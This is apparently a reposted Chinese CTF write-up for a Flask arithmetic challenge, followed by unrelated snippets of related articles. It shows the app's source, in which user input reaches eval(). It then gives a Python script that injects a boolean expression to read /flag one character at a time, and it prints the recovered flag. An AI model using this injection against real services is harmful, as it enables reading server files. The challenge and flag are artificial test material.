【web】-flask-简单的计算题(不简单)

打开页面是这样的

初步思路,打开F12,查看头,都发现了这个表达式的base64加密字符串。编写脚本提交答案,发现不对;

无奈点开source发现源代码,是flask,初始化表达式,获取提交的表达式,赋值新的表达式,没发现有什么问题,但是eval是个危险函数,前后端没有严格的过滤,这个可以利用,输入:(-497559)+(969608)+(-255632)+(587860)+(716596)  and 1==1 后提示Congratulations。source代码和实现代码如下


#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from flask import Flask, render_template, request,session
from config import create
import osapp = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(24)## flag is in /flag try to get it@app.route('/', methods=['GET', 'POST'])
def index():def filter(string):if "or" in string:return "hack"return stringif request.method == 'POST':input = request.form['input']create_question = create()input_question = session.get('question')session['question'] = create_questionif input_question==None:return render_template('index.html', answer="Invalid session please try again!", question=create_question)if filter(input)=="hack":return render_template('index.html', answer="hack", question=create_question)try:calc_result = str((eval(input_question + "=" + str(input))))if calc_result == 'True':result = "Congratulations"elif calc_result == 'False':result = "Error"else:result = "Invalid"except:result = "Invalid"return render_template('index.html', answer=result,question=create_question)if request.method == 'GET':create_question = create()session['question'] = create_questionreturn render_template('index.html',question=create_question)@app.route('/source')
def source():return open("app.py", "r").read()if __name__ == '__main__':app.run(host="0.0.0.0", debug=False)
import requests
import redef main():alphabet = ['{','}', '@', '_',',','a','b','c','d','e','f','j','h','i','g','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','G','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','0','1','2','3','4','5','6','7','8','9']url='ip'data={"input":""}s = requests.Session()flag = ''for i in range(0,100):for char in alphabet:try:r = s.get(url)question = re.search(r"<h4>(.*)</h4>", r.text.decode(), re.M|re.I).group().replace("<h4>", "").replace("</h4>","")[:-1]data["input"] = "{0} and '{2}'==(open('/flag','r').read()[{1}])".format(question, i, char)r = s.post(url, data=data)result = r.content.decode()if r"Congratulations" in result:flag += charprint(flag)breakexcept Exception as e:print("Exception: ", end='')print(e)
if __name__ == '__main__':main()

运行后得到flag : DASCTF{53a6ee70a3e8c013e2b1dbb2b926d3b2}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/382630.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

解锁创新:AI如何推动低代码应用的智能化

在当今快速变化的商业环境中&#xff0c;企业面临着前所未有的挑战和机遇。数字化转型已成为各行各业的必然趋势&#xff0c;企业需要迅速适应市场变化&#xff0c;提升客户体验&#xff0c;并降低开发成本。 这一背景下&#xff0c;低代码开发平台的崛起为企业提供了一种高效…

【RaspberryPi】树莓派系统UI优化

接上文&#xff0c;如何去定制一个树莓派的桌面系统&#xff0c;还是以CM4为例。 解除CM4上电USB无法使用问题 将烧录好的tf卡通过读卡器插入到电脑上&#xff0c;进入boot磁盘&#xff0c;里面有一个Config文件&#xff0c;双击用记事本打开&#xff0c;在【pi4】一栏里加入一…

C/C++标准IO的缓冲区

文章目录 缓冲区的分类缓冲区的刷新时机 缓冲区的分类 行缓存&#xff1a;和终端文件相关的缓冲区叫做行缓存&#xff0c;行缓冲区的大小为1024字节&#xff0c;对应的文件指 针&#xff1a;stdin、stdout全缓存&#xff1a;和外界文件相关的缓冲区叫做全缓存&#xff0c;全缓…

大屏数据看板一般是用什么技术实现的?

我们看到过很多企业都会使用数据看板&#xff0c;那么大屏看板的真正意义是什么呢&#xff1f;难道只是为了好看&#xff1f;答案当然不仅仅是。 大屏看板不仅可以提升公司形象&#xff0c;还可以提升企业的管理层次。对于客户&#xff0c;体现公司实力和品牌形象&#xff0c;…

HarmonyOS 本地真机运行

目录 官网地址 1.开发工具设置签名 2.手机开启开发者模式 3.使用USB连接方式 4.使用无线调试连接方式 5.常见的问题 官网地址 使用真机运行应用 使用本地真机运行应用/服务 1.开发工具设置签名 官网应用/服务签名 1.左上角文件--项目结构-勾选自动生成签名-Sign in登录 2…

单片机学习(18)--红外遥控器

红外遥控器 17.1红外遥控的基础知识1.红外遥控简介2.硬件电路3.基本发送和接收4.NEC编码5.遥控器键码6.51单片机的外部中断7.外部中断寄存器 17.2红外遥控的程序代码1.红外遥控&#xff08;1&#xff09;工程目录&#xff08;2&#xff09;main.c函数&#xff08;3&#xff09;…

pyenv-win | python版本管理,无需卸载当前版本

系统&#xff1a;windows&#xff0c;且已安装git。 使用 pyenv-win 在Windows中管理多个python版本&#xff0c;而无需卸载当前版本。安装步骤如下&#xff1a; 安装 pyenv-win 1. 安装 Git 和 pyenv-win: git clone https://github.com/pyenv-win/pyenv-win.git %USERPRO…

fastadmin 搜索调整的配置

//快捷搜索,这里可在控制器定义快捷搜索的字段search: false,//启用普通表单搜索commonSearch: true,//显示导出按钮showExport: false,//启用跨页选择maintainSelected: false,//启用固定列fixedColumns: false,//固定左侧列数fixedNumber: 3,//固定右侧列数fixedRightNumber:…

vue 两个页面切换, 再回到当前页,还是离开前的数据

1、要保证页面的name 和 建路由的大小写一致 2、页面不用生命周期--activated 调接口刷新

第G2周:人脸图像生成(DCGAN)

本文为365天深度学习训练营 中的学习记录博客 原作者&#xff1a;K同学啊 深度卷积对抗网络&#xff08;Deep Convolutional Generative Adversarial Networks&#xff0c;简称DCGAN&#xff09;是一种深度学习模型&#xff0c;由生成器&#xff08;Generator&#xff09;和判别…

四、GD32 MCU 常见外设介绍 (6) ADC 模块介绍

6.1.ADC 基础知识 12 位逐次逼近式模数转换器模块&#xff08;ADC&#xff09;&#xff0c;可以采样来自于外部输入通道、内部输入通道的模拟信号&#xff0c;采样转换后&#xff0c;转换结果可以按照最低有效位对齐或最高有效位对齐的方式保存在相应的数据寄存器中。 6.2.GD…

【过题记录】 7.21

Mad MAD Sum 算法&#xff1a;思维&#xff0c;前缀最大值 模拟一下他的运行过程就会发现&#xff0c;两次之后整个数组就固定了&#xff0c;之后每次都是每个数往后移动一位&#xff0c;可以模拟两次之后计算每个数的存活轮数&#xff0c;计算贡献。 #include<bits/stdc.h…

PD协议芯片ECP5701兼容PD 2.0和PD 3.0(5V,9V,12V,15V,20V),支持 PD 输入多种类型无线充方案

文章目录 前言 一、TYPE-C口无线充与传统充电器的对比 1. TYPE-C口无线充的特点&#xff08;无需线材&#xff0c;更方便&#xff1b;接口定位性强&#xff0c;分明&#xff1b;兼容多个设备&#xff1b;充电速度更快&#xff1b;充电效率更高&#xff09; 2. 传统充电器的特点…

为什么 FPGA 的效率低于 ASIC?

FPGA是“可重构逻辑”器件。先制造的芯片&#xff0c;再次设计时“重新配置”。 ASIC 不需要“重新配置”。你先设计&#xff0c;把它交给代工厂&#xff0c;然后制造芯片。 现在让我们看看这些芯片的结构是什么样的&#xff0c;以及它们的不同之处。 ● 逻辑单元&#xff1a;F…

神经网络理论(机器学习)

motivation 如果逻辑回归的特征有很多&#xff0c;会造出现一些列问题&#xff0c;比如&#xff1a; 线性假设的限制&#xff1a; 逻辑回归是基于线性假设的分类模型&#xff0c;即认为特征与输出之间的关系是线性的。如果特征非常多或者特征与输出之间的关系是非线性的&#…

【Linux】线程——线程池、线程池的实现、线程安全的线程池、单例模式的概念、饿汉和懒汉模式、互斥锁、条件变量、信号量、自旋锁、读写锁

文章目录 Linux线程7. 线程池7.1 线程池介绍7.2 线程池的实现7.3 线程安全的线程池7.3.1 单例模式的概念7.3.2 饿汉和懒汉模式 8. 常见锁使用汇总8.1 互斥锁&#xff08;Mutex&#xff09;8.2 条件变量&#xff08;Condition Variable&#xff09;8.3 信号量&#xff08;Semaph…

探索 GPT-4o mini:成本效益与创新的双重驱动

&#x1f49d;&#x1f49d;&#x1f49d;欢迎来到我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 推荐:kwan 的首页,持续学…

79页PDF免费下载 | 全域数字化转型评估模型研究报告

一、前言&#xff1a; 随着数字技术的飞速发展&#xff0c;零售行业正站在转型的十字路口。如何在变革中找到方向&#xff0c;如何通过数字化转型提升企业竞争力&#xff0c;已成为每个零售企业必须面对的课题。腾讯智慧零售与伏羲智库深度合作&#xff0c;推出《2024年全域数…

05-用户画像+mysql-hive数据导入

将用户数据导入数仓 新建 create_hive_table.sh文件 在终端执行以下文件 sh create_hive_table.sh sqoop create-hive-table \ --connect jdbc:mysql://up01:3306/tags_dat \ tags_dat库名 --username root \ root 用户名 --password 123456 \ 123456 密码 --ta…

前端练习<HtmlCSS>——悬浮抽卡片(附完整代码及实现效果)

这个小练习来源于b站up小K师兄&#xff0c;大家可以通过下面的链接学习哦~up讲的非常详细。 写一个好玩的悬浮抽卡片效果&#xff5e; 先看一下效果&#xff1a; 1.鼠标没有放置到card上 2.鼠标放到card上&#xff0c;所有card呈角度散开 3.单击选中某一张卡片&#xff0c;…